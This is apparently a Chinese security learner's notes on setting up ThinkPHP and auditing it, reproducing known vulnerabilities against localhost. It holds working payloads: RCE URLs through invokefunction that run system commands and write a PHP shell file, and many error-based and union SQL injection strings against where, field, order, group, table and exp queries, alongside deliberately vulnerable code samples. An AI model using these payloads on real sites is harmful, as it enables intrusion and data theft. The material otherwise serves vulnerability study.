tp源码在这:
https://www.thinkphp.cn/down.html
但b站说官方已经不提供源码下载了,要手动composer或者git
连的是php7.4.3的exe
环境搭好是这样
composer create-project topthink/think=6.0.x-dev tp
官网下载,已经下载到本地了
composer create-project --prefer-dist topthink/think=5.0.10 thinkphp_5.0.10
链接: http://www.paijuanxing.online/2021/05/15/thinkphp5.0.10/
改一下composer.json
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},
然后
composer update
连数据库
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'mochazz');
tp5以tp5.1为正式版,其他都在测试中,目前最新的是tp6
主页在public/index下面,因为到时候绑定域名可以直接绑public/index,其他目录无法访问更安全
http://serverName/index.php/模块/控制器/操作/参数/值
这种访问属于URL模式中的PATHINFO模式
更改URL模式的文件在Thinkphp/Conf/convention.php
普通模式:
url?m=xxx&c=xxx&a=xxx&var=value
例子:http://localhost/?m=home&c=user&a=login&var=value
PATHINFO模式:
xxxxx/model/controller/action/var/value
例子:http://localhost/model/controller/action/var/value
比如说访问入口文件http://127.0.0.1/thinkphp_3.2.3_full/index.php/Home/Index/index
PATHINFO地址的前三个参数分别表示模块/控制器/操作。
不过,PATHINFO模式下面,依然可以采用普通URL模式的参数方式,例如:
http://localhost/index.php/home/user/login?var=value
依然是有效的
我们还可以支持下面的URL访问: http://localhost/index.php/home-user-login-var-value
Rewrite:
http://localhost/home/user/login/var/value
兼容模式:
http://localhost/?s=/home/user/login/var/value
控制器是一个抽象的概念,它代表的是xxxController.class.php和该文件下面的xxxController这个类。这个控制器类包含了需要调用的方法。控制器的作用是存储函数,时刻准备被人调用
如何调用这些方法呢
A方法:一开始先在/Home/Controller目录下面写个控制器和它的方法(就是写个xxxController.class.php并在该文件中写xxxController类,在类中写方法),然后跑到IndexCotroller去调用它:
public function getUserIndex(){
$newuser = A('User'); //理解为new了一个类
$newuser->index();
}
所以看到A方法要知道去审计它的控制器
R方法:更简单
public function getUserIndex(){
$newuser = R('User/index');
}
I(’’,’’,’’)
举例
I(‘get.id’) //返回get传入参数id的参数值
可以看这篇博客复现tp漏洞:https://paper.seebug.org/1377/#42thinkphp-5x-1(含有有tp 2.x/3.0 , tp5.x)(tp5.0已分析源码)
起手:去看控制器:
application/index/controller/Index.php
调试的思路
首先想这个函数可能的诱发漏洞的原因:比如说rce想到call_usr_func;sql注入想到sql语句拼接的时候没有waf没有转义没有预处理(pdf)
其次善于使用step over ,先看一看各个参数的变化,找到漏洞代码的区间
然后锁定区间,重新刷新浏览器准备再调试一次,但是这次要step into进入到区间内
之后不断递归下去,直到感觉很迷茫,似乎找不到漏洞代码
这时候就拨乱反正:读他丫的,弄懂功能(也可以跳出来宏观整体)
直到 找到诱发漏洞的原因(可以是一些函数或者一些)
或者 调完整个过程
然后如果是sql可以对照一下正常的情况是怎么样的,对比学习!
收获:
官方手册序言 · ThinkPHP5.0完全开发手册 · 看云 (kancloud.cn)
paylaod:
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
payload:
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
payload:
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20phpinfo()?^%3E%3Eshell.php
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=
[(84条消息) 复现]Thinkphp5系列漏洞_kuuhh的博客-CSDN博客_thinkphp5漏洞
当你这么写的时候
public function index(){ $username = request()->get('username'); $result = db('users')->where('username','exp',$username)->select();}
payload:
public/index.php/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)--+user
当你这么写的时候
$username = request()->get('username/a'); $result = db('users')->where(['username' => $username])->select(); print_r($result);
s 强制转换为字符串类型 d 强制转换为整型类型 b 强制转换为布尔类型 a 强制转换为数组类型 f 强制转换为浮点类型
payload
payload:username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,user()%23
feng师傅这篇写得很好(84条消息) Thinkphp 5.0.10 SQL注入_feng的博客-CSDN博客_thinkphp注入
可供学习的视频:PHP进阶教程从零基础入门到掌握面向对象编程【黑马程序员精品教程】_哔哩哔哩_bilibili
tp3开发手册:基础 · ThinkPHP3.2.3完全开发手册 · 看云 (kancloud.cn)
先丢一个错误的参数值进去,然后看着它的报错来闭合括号(一般会选择报错注入)
public function test1(){ $data = M('users')->where('id='.I('get.id'))->select(); dump($data); }
这里直接给调好的payload
updatexml
id/1)and%201=(updatexml(1,concat(0x3a,(user()),0x3a),1))%23
union 联合查询
/id/1)union%20select%201,2,3%23
漏洞形成:简单来说就是没有过滤
如何修改才安全:
方法1
public function test2(){ $user = M('users'); $map['id'] = I('id'); $data=$user->where('id='.$map)->select(); dump($data); }
采用先实例化对象的思路,这样即便用户输入了恶意的id参数,系统也会强制类型转化
方法2(官方手册写的,未验证)
where方法使用字符串条件的时候,支持预处理(安全过滤),并支持两种方式传入预处理参数,例如:
$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();// 或者$Model->where("id=%d and username='%s' and xx='%f'",$id,$username,$xx)->select();
漏洞代码
public function test3(){ M()->table(I('tab'))->where('1=1')->find(); }
错误核心是Tp无论输入的table是什么,都会先执行show column的操作判断有没有错误之后再执行select
如果像下面那样输入,那么show column就为True,之后select就会执行恶意语句了
payload:
tab/phpthink_users%20where%201=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23
field的用法要提一下:
$data = M('users')->field('id')->select();//select id from users;dump($data)
当有多个字段时,它可以直接写在括号里,也支持数组传输
$data1 = M('users')->field('id,username')->select();$data2 = M('users')->field(array('id','username'))->select();//select id,username from users;
别名的使用
$data1 = M('users')->field(array('id','username'=>'uname'))->select();//select id,username as uname from users;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g8fjFQrM-1645804809477)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127185040240.png)]
倘若字段名的别名可控
$data1 = M('users')->field(array('id','username'=>I('name')))->select();
payload
test4/name/asas from `phpthink_users` where 1=updatexml(1,concat(0x3a,(user())),1)#
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-39o0kX8x-1645804818020)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127185935122.png)]
直接就可以注入,攻击思路是自己制造正确的sql语句闭合前面的语句。
当然了,如果是字段名可控的话,按照这种思路下去也是可注入的
test4/name/count(*) from `phpthink_users` where 1=updatexml(1,concat(0x3a,(user())),1)#
不过使用count(*)的闭合比较取巧,因为这个地方想要闭合必须排除,
的干扰,意味着我们必须写字段,但是我们又不知道字段名,所以用count
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wpPP9upg-1645801010044)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127190324813.png)]
可以写个正则来找
->(aliens|union|join).*\((\$|\$_|I)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LxX0tA7O-1645801010045)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127193149988.png)]
利用方法类似上面几种
当表名错误的时候
漏洞代码
$data = M('user')->field(array('username','password'))->order(array('id'=>I('xu')))->select();
payload(那里的逗号是要的)
,(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(user())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23
漏洞就是底层sql都拼在了一起
$data = M('users1')->field(array('count(score)'))->group(I('xu'))->select();
payload
(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(user())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23
条件:紧随着where之后,comment函数参数可控(本地复现失败)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GmHDwk5x-1645801010045)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129170606637.png)]
payload
aaaa*/procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23
漏洞原理、漏洞利用和字段注入是一样的
payload:
id) AS tp_count FROM `phpthink_users` where%201=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aDXvZAIa-1645801010046)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129174813511.png)]
tp支持表达式(exp)查询,用法一句话概括就是tp的sql函数的参数可以使用键名为 字段名 值为array(‘表达式’,‘操作数’)
$map['字段名'] = array('表达式','查询条件');//接着再把$map传到where()这样的函数这个括号里面就行了
例子
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vRGTXSWP-1645801010047)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129185521500.png)]
但是这里表达式可选的东西很多,其中有个:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-06q7lI9F-1645801010047)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129193555055.png)]
只要用户传入数组的‘表达式’是exp,如果后面’查询条件’还可以控制的话,那么就直接是恶意sql语句执行了
漏洞代码
$tiaojian = array(); $tiaojian['id']=$_GET['id']; //‘表达式’,'查询条件'都可控 $data = M('users')->where($tiaojian)->find();
payload
id[0]=exp&id[1]==11 and 1=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6qxzxf7h-1645801010047)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129193743762.png)]
tp在执行update语句时,如果需要使用到setInc函数,而该函数没有检查步长
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pWNnmHsV-1645801010048)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129191842781.png)]
payload
5 where (id=5) and 1=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23